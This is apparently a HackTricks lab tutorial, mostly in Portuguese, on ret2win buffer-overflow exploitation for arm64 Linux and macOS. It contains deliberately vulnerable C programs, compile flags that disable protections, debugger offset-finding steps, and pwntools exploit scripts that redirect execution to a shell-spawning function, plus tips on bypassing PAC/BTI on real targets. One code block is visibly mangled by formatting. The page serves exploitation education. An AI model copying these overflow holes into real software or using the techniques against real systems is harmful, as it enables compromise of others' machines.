Ret2win - arm64

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Encontre uma introdução ao arm64 em:

Introduction to ARM64v8

Código

#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Compilar sem pie e canary:

clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
  • A extra flag -mbranch-protection=none desativa o AArch64 Branch Protection (PAC/BTI). If your toolchain defaults to enabling PAC or BTI, isso mantém o lab reproduzível. Para checar se um binário compilado usa PAC/BTI você pode:
  • Procure por AArch64 GNU properties:
  • readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
  • Inspecione prologues/epilogues por paciasp/autiasp (PAC) ou por bti c landing pads (BTI):
  • objdump -d ret2win | head -n 40

Fatos rápidos sobre a convenção de chamada AArch64

  • The link register is x30 (a.k.a. lr), and functions typically save x29/x30 with stp x29, x30, [sp, #-16]! and restore them with ldp x29, x30, [sp], #16; ret.
  • Isso significa que o endereço de retorno salvo fica em sp+8 relativo à base do frame. Com um char buffer[64] colocado abaixo, a distância usual para sobrescrever o x30 salvo é 64 (buffer) + 8 (saved x29) = 72 bytes — exatamente o que veremos abaixo.
  • The stack pointer must remain 16‑byte aligned at function boundaries. If you build ROP chains later for more complex scenarios, keep the SP alignment or you may crash on function epilogues.

Encontrando o offset

Pattern option

This example was created using GEF:

Inicie o gdb com gef, crie um pattern e use-o:

gdb -q ./ret2win
pattern create 200
run

arm64 tentará retornar para o endereço no registrador x30 (que foi comprometido), podemos usar isso para encontrar o pattern offset:

pattern search $x30

O offset é 72 (9x48).

Opção de Stack offset

Comece obtendo o endereço da stack onde o registrador pc é armazenado:

gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

Agora coloque um breakpoint após o read(), use continue até que o read() seja executado, e defina um pattern como 13371337:

b *vulnerable_function+28
c

Encontre onde esse padrão está armazenado na memória:

Então: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

No PIE

Regular

Obtenha o endereço da função win:

objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Exploit:

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

Na verdade, isso vai ser mais como um off-by-2 no PC armazenado na stack. Em vez de sobrescrever todo o return address, vamos sobrescrever apenas os últimos 2 bytes com 0x06c4.

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Você pode encontrar outro exemplo de off-by-one em ARM64 em https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, que é um off-by-one real em uma vulnerabilidade fictícia.

Com PIE

Tip

Compile o binário sem o argumento -no-pie

Off-by-2

Sem um leak não sabemos o endereço exato da win function, mas podemos conhecer o offset da função no binário e, sabendo que o endereço de retorno que estamos sobrescrevendo já aponta para um endereço próximo, é possível fazer um leak do offset até a win function (0x7d4) neste caso e simplesmente usar esse offset:

```python from pwn import *

Configuration

binary_name = ‘./ret2win’ p = process(binary_name)

Prepare the payload

offset = 72 ret2win_addr = p16(0x07d4) payload = b’A’ * offset + ret2win_addr

Send the payload

p.send(payload)

Check response

print(p.recvline()) p.close()

## macOS

### Código
```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

__attribute__((noinline))
void win(void) {
system("/bin/sh"); // <- **our target**
}

void vulnerable_function(void) {
char buffer[64];
// **BOF**: reading 256 bytes into a 64B stack buffer
read(STDIN_FILENO, buffer, 256);
}

int main(void) {
printf("win() is at %p\n", win);
vulnerable_function();
return 0;
}

Compile sem canary (no macOS você não pode desativar o PIE):

clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security

Execute sem ASLR (embora, como temos um endereço leak, não precisamos dele):

env DYLD_DISABLE_ASLR=1 ./bof_macos

Tip

Não é possível desativar o NX no macOS porque em arm64 esse modo é implementado no nível de hardware, então você não pode desativá-lo — logo, não encontrará exemplos com shellcode na stack no macOS.

Encontrar o offset

  • Gerar um padrão:
python3 - << 'PY'
from pwn import *
print(cyclic(200).decode())
PY
  • Execute o programa e insira o pattern para causar um crash:
lldb ./bof_macos
(lldb) env DYLD_DISABLE_ASLR=1
(lldb) run
# paste the 200-byte cyclic string, press Enter
  • Verifique o registrador x30 (the return address) para encontrar o offset:
(lldb) register read x30
  • Use cyclic -l <value> para encontrar o offset exato:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY

# Replace 0x61616173 with the 4 first bytes from the value of x30
  • Foi assim que encontrei o offset 72; colocando nesse offset o endereço da função win() você pode executar essa função e obter uma shell (rodando sem ASLR).

Exploit

#!/usr/bin/env python3
from pwn import *
import re

# Load the binary
binary_name = './bof_macos'

# Start the process
p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})

# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")

# Extract the win() address using regex
match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract win() address")
p.close()
exit(1)

win_address = int(match.group(1), 16)
print(f"Extracted win() address: {hex(win_address)}")

# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8  # 72 bytes total to reach the return address

# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

macOS - 2º exemplo

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

__attribute__((noinline))
void leak_anchor(void) {
puts("leak_anchor reached");
}

__attribute__((noinline))
void win(void) {
puts("Killed it!");
system("/bin/sh");
exit(0);
}

__attribute__((noinline))
void vuln(void) {
char buf[64];
FILE *f = fopen("/tmp/exploit.txt", "rb");
if (!f) {
puts("[*] Please create /tmp/exploit.txt with your payload");
return;
}
// Vulnerability: no bounds check → stack overflow
fread(buf, 1, 512, f);
fclose(f);
printf("[*] Copied payload from /tmp/exploit.txt\n");
}

int main(void) {
// Unbuffered stdout so leaks are immediate
setvbuf(stdout, NULL, _IONBF, 0);

// Leak a different function, not main/win
printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor);

// Sleep 3s
sleep(3);

vuln();
return 0;
}

Compile sem canary (no macOS não é possível desativar PIE):

clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security

Encontre o offset

  • Gere um pattern no arquivo /tmp/exploit.txt:
python3 - << 'PY'
from pwn import *
with open("/tmp/exploit.txt", "wb") as f:
f.write(cyclic(200))
PY
  • Execute o programa para causar um crash:
lldb ./bof_macos
(lldb) run
  • Verifique o register x30 (the return address) para encontrar o offset:
(lldb) register read x30
  • Use cyclic -l <value> para encontrar o offset exato:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
  • Foi assim que encontrei o offset 72; colocando nesse offset o endereço da função win() você pode executar essa função e obter um shell (rodando sem ASLR).

Calcule o endereço de win()

  • O binário é PIE; usando o leak da função leak_anchor() e conhecendo o offset da função win() em relação à função leak_anchor(), podemos calcular o endereço da função win().
objdump -d bof_macos | grep -E 'leak_anchor|win'

0000000100000460 <_leak_anchor>:
000000010000047c <_win>:
  • O offset é 0x47c - 0x460 = 0x1c

Exploit

#!/usr/bin/env python3
from pwn import *
import re
import os

# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name)

# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")

# Extract the leak_anchor() address using regex
match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract leak_anchor() address")
p.close()
exit(1)
leak_anchor_address = int(match.group(1), 16)
print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}")

# Calculate win() address
win_address = leak_anchor_address + 0x1c
print(f"Calculated win() address: {hex(win_address)}")

# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8  # 72 bytes total to reach the return address

# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")

# Write the payload to /tmp/exploit.txt
with open("/tmp/exploit.txt", "wb") as f:
f.write(payload)

print("[*] Payload written to /tmp/exploit.txt")

# Drop to an interactive session
p.interactive()

Notas sobre o endurecimento moderno do AArch64 (PAC/BTI) e ret2win

  • Se o binário for compilado com AArch64 Branch Protection, você pode ver paciasp/autiasp ou bti c emitidos nos prólogos/epílogos de função. Nesse caso:
  • Retornar para um endereço que não seja um BTI landing pad válido pode gerar um SIGILL. Prefira mirar exatamente a entrada da função que contém bti c.
  • Se PAC estiver habilitado para retornos, naive return‑address overwrites podem falhar porque o epílogo autentica x30. Para cenários de aprendizado, reconstrua com -mbranch-protection=none (mostrado acima). Ao atacar alvos reais, prefira non‑return hijacks (e.g., function pointer overwrites) ou construa ROP que nunca execute um par autiasp/ret que autentique your forged LR.
  • Para verificar rapidamente as features:
  • readelf --notes -W ./ret2win e procure por notas AARCH64_FEATURE_1_BTI / AARCH64_FEATURE_1_PAC.
  • objdump -d ./ret2win | head -n 40 e procure por bti c, paciasp, autiasp.

Executando em hosts não-ARM64 (qemu‑user quick tip)

Se você está em x86_64 mas quer praticar AArch64:

# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross

# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win

# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'

Páginas relacionadas do HackTricks

Ret2syscall - arm64

Ret2lib + Printf leak - arm64

Referências

  • Ativando PAC e BTI no AArch64 para Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
  • Padrão de Chamada de Procedimento para a Arquitetura Arm de 64 bits (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks